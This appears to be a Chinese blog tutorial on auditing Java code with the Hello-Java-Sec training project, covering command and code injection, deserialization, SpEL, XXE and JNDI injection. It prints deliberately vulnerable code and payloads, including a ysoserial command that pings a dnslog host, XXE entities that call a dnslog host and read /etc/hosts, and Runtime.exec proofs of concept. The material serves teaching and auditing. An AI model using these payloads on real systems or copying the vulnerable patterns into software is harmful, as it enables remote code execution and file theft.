java代码审计入门篇——Hello-Java-Sec(完结)

远程代码执行

RCE (Remote Code Execution),远程代码执行漏洞,是指攻击者通过远程方式在目标系统上执行恶意代码或命令,从而控制系统或者窃取敏感信息等行为。

这里包含两类漏洞:

  • 命令注入:在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入
  • 代码注入:在正常的java程序中注入一段恶意java代码并执行,即用户输入的数据当作java代码进行执行。

本质: Runtime.getRuntime().exec()ProcessBuilder的命令参数数组未隔离,用户可控部分逃逸出参数边界成为独立命令。

审计点

  • 必搜关键词: Runtime.execProcessBuildergetRuntime()pingnslookupcmd /c
  • 高危模式:
    • Runtime.exec("ping " + ip)(单字符串参数可被|&&截断)
    • ProcessBuilder(commandList)其中commandList[1]来自用户输入
  • 追踪参数流:
    • 直接注入:request.getParameter() → exec()(最危险)
    • 间接注入:环境变量env.put("PATH", userInput) + ProcessBuilder.environment()
  • 命令编码绕过: Windows下^转义、%1a作为命令分隔符;Linux下$IFS替代空格

漏洞代码 - ProcessBuilder方式

Java 复制代码
// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。

public static String processbuilderVul(String filepath) throws IOException {
    String[] cmdList = {"sh", "-c", "ls -l " + filepath};
    ProcessBuilder pb = new ProcessBuilder(cmdList);
    pb.redirectErrorStream(true);
    Process process = pb.start();

    // 获取命令的输出
    InputStream inputStream = process.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    StringBuilder output = new StringBuilder();
    while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
    }
    return output.toString();
}
                    

很明显,这里ProcessBuilder直接执行了一个未检查的shell指令

漏洞代码 - Runtime方式

Java 复制代码
// Runtime.getRuntime().exec(cmd)

public static String vul(String cmd) {
    StringBuilder sb = new StringBuilder();
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        InputStream fis = proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);
     ...
                    

漏洞代码 - ProcessImpl

TypeScript 复制代码
// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

public static String vul(String cmd) throws Exception {
    // 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
    Class clazz = Class.forName("java.lang.ProcessImpl");

    // 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

    // 使用 method.setAccessible 方法将 start 方法设为可访问
    method.setAccessible(true);

    // 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
    Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
                    

漏洞代码 - 脚本引擎代码注入

Java 复制代码
// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval

public void jsEngine(String url) throws Exception {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String payload = String.format("load('%s')", url);
    engine.eval(payload, bindings);
}
                    

调用链总结如下

Plain 复制代码
外部可控输入(url参数)
    ↓(构造恶意url)
构造恶意url示例:'); var rt = java.lang.Runtime.getRuntime(); rt.exec('calc.exe'); //
    ↓(代码拼接payload)
String.format("load('%s')", url) → 最终payload:
load(''); var rt = java.lang.Runtime.getRuntime(); rt.exec('calc.exe'); //')
    ↓(执行拼接后的JS代码)
engine.eval(payload) → Nashorn引擎执行这段恶意JavaScript代码
    ↓(JS调用Java核心类)
JavaScript代码调用 java.lang.Runtime.getRuntime() → 获取Java Runtime实例
    ↓(执行系统命令)
Runtime实例调用 exec('calc.exe') → 触发系统命令执行(Windows弹出计算器,Linux执行任意命令)
    ↓(最终结果)
服务器端执行攻击者指定的系统命令 → 完成RCE(远程代码执行)

漏洞代码 - Groovy执行命令

TypeScript 复制代码
// 不安全的使用Groovy调用命令

import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {
    GroovyShell shell = new GroovyShell();
    shell.evaluate(cmd);
}
    

不安全的反序列化

反序列化漏洞(Deserialization vulnerability),当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

反序列化漏洞在许多第三方库和框架中被广泛利用。

例如,Apache Commons Collections、Apache Commons Beanutils、JYaml、Jboss Marshalling、XStream、Hibernate、Spring等。

本质 : 反序列化过程中自动调用对象readObject()readResolve()等特殊方法,通过构造恶意对象链(Gadget Chains)实现任意方法调用。

审计点

  • 必搜关键词: ObjectInputStreamreadObject()SerializableObjectMapper.readValue()处理Object.classXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject
  • 高危组件:
    • commons-collectionsInvokerTransformer
    • Fastjson@type自动类型转换
    • JacksonenableDefaultTyping()

漏洞代码 - ObjectInputStream

Java 复制代码
// readObject,读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。
// 生成payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64

public String cc(String base64) {
    try {
        base64 = base64.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(base64);

        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);

        // 反序列化流,将序列化的原始数据恢复为对象
        ObjectInputStream in = new ObjectInputStream(stream);
        in.readObject();
        in.close();
        return "反序列化漏洞";
    } catch (Exception e) {
        return e.toString();
    }
}
         

构造playload,用dnlog外带测试一下

jar下载平台:https://github.com/frohoff/ysoserial

Plain 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "ping -c 1 yhg5i3.dnslog.cn" | base64 | tr -d '\n'

playload生成好了,直接请求

效果如下

漏洞代码 - XMLDecoder

Java 复制代码
// XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容

String path = "src/main/resources/payload/calc-1.xml";
File file = new File(path);
FileInputStream fis = null;
try {
    fis = new FileInputStream(file);
} catch (Exception e) {
    e.printStackTrace();
}

BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
xmlDecoder.readObject();
xmlDecoder.close();
                    

表达式注入

SpEL(Spring Expression Language)是Spring Framework中的一种表达式语言,它允许在运行时对对象图进行查询和操作。

在应用程序中,如果使用不当,攻击者可以通过构造恶意输入来注入SpEL表达式,从而在表达式被解析时执行任意的命令,导致安全漏洞。

本质ExpressionParser.parseExpression(userInput).getValue()未限制表达式权限,通过T(java.lang.Runtime).getRuntime().exec()反射链达到RCE。

审计点

  • 必搜关键词: SpelExpressionParserStandardEvaluationContext@Value("${")Expression.getValue()

  • org.springframework.expression.spel.standard

  • SpelExpressionParser

  • parseExpression

  • expression.getValue()

  • expression.setValue()

  • 高危场景:

    • @RequestMapping@PathVariable直接传入parser.parseExpression()
    • Spring Data REST的MapDataBinder.setPropertyValue()(CVE-2018-1273)
  • 调用链追踪: userInput → ExpressionParser → StandardEvaluationContext → getValue() → 代码执行

  • 安全写法: 审计是否使用SimpleEvaluationContext.forReadOnlyDataBinding()限制表达式能力

漏洞代码

Java 复制代码
/**
 * 产生原因:默认的StandardEvaluationContext权限过大,用户输入的表达式被直接解析和执行
 * PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
 */
public String vul(String ex) {
    ExpressionParser parser = new SpelExpressionParser();

    EvaluationContext evaluationContext = new StandardEvaluationContext();

    Expression exp = parser.parseExpression(ex);
    String result = exp.getValue(evaluationContext).toString();
    return result;
}
                    

XML外部实体注入

概念: XML解析器加载外部实体(DTD),导致读取服务器文件、内网探测或DoS攻击。

本质DocumentBuilderFactorySAXParserFactory等解析器未禁用XMLConstants.FEATURE_SECURE_PROCESSING,默认支持外部实体引用。

审计点

  • 必搜关键词: DocumentBuilderFactorySAXBuilderXMLReaderSAXParserUnmarshallerdigester
  • 高危模式:
    • DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(inputStream)
    • SAXBuilder.build(new File(filename))处理用户上传XML

漏洞代码 - XMLReader

Java 复制代码
/**
 * 产生原因:在未禁用外部实体解析的情况下,XML解析器可能会处理外部实体声明,从而导致XXE
 */
public String XMLReader(@RequestBody String content) {
    try {
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();

        // 修复:禁用外部实体解析
        // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        xmlReader.parse(new InputSource(new StringReader(content)));
        return "XMLReader XXE";
    } catch (Exception e) {
        return e.toString();
    }
}
             

请求playload

XML 复制代码
GET /vulnapi/XXE/XMLReader?content=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://61gkb8.dnslog.cn">]><root>&xxe;</root> 

漏洞代码 - DocumentBuilder

Java 复制代码
@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

    // 修复: 禁用外部实体
    // factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    DocumentBuilder builder = factory.newDocumentBuilder();
}
                    
                    

漏洞代码 - SAXReader

Java 复制代码
@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {
    try {
        SAXReader sax = new SAXReader();

        // 修复:禁用外部实体
        // sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        sax.read(new InputSource(new StringReader(content)));
        return "SAXReader XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

漏洞代码 - Unmarshaller

XML 复制代码
/**
 * Payload:
 * <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/hosts">]><student><name>&out;</name></student>
 */
public String Unmarshaller(@RequestBody String content) {
    try {
        JAXBContext context = JAXBContext.newInstance(Student.class);
        Unmarshaller unmarshaller = context.createUnmarshaller();

        XMLInputFactory xif = XMLInputFactory.newFactory();

        // 修复: 禁用外部实体
        // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
        // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

        XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));

        Object o = unmarshaller.unmarshal(xsr);
        return o.toString();
} catch (Exception e) {
    e.printStackTrace();
}

漏洞代码 - SAXBuilder

Java 复制代码
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
    try {
        SAXBuilder saxbuilder = new SAXBuilder();

        // 修复:禁用外部实体
        // saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        saxbuilder.build(new InputSource(new StringReader(content)));
        return "SAXBuilder XXE";
    } catch (Exception e) {
        return e.toString();
    }
}
                   

JNDI Injection

漏洞代码

TypeScript 复制代码
/**
 * 产生原因:当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
 */
public void vul(String content) {
    try {
        Context ctx = new InitialContext();
        ctx.lookup(content);
    } catch (Exception e) {
        log.warn("JNDI错误消息");
    }
}
                    

Playload

Plain 复制代码
http://192.168.3.77:8888/vulnapi/JNDI/vul?content=rmi://127.0.0.1:1099/Exp
相关推荐
一个想打拳的程序员2 小时前
无需复杂配置!用%20docker-webtop%20打造跨设备通用%20Linux%20桌面,加载cpolar远程访问就这么简单
java·人工智能·docker·容器
一起养小猫2 小时前
LeetCode100天Day2-验证回文串与接雨水
java·leetcode
csbysj20202 小时前
XML 技术
开发语言
清晓粼溪2 小时前
Java登录认证解决方案
java·开发语言
小徐Chao努力2 小时前
Go语言核心知识点底层原理教程【变量、类型与常量】
开发语言·后端·golang
锥锋骚年2 小时前
go语言异常处理方案
开发语言·后端·golang
沐知全栈开发2 小时前
JSP 自动刷新技术详解
开发语言
特立独行的猫a2 小时前
C++使用Boost的Asio库优雅实现定时器与线程池工具类
开发语言·c++·线程池·定时器·boost·asio
液态不合群2 小时前
查找算法详解
java·数据结构·算法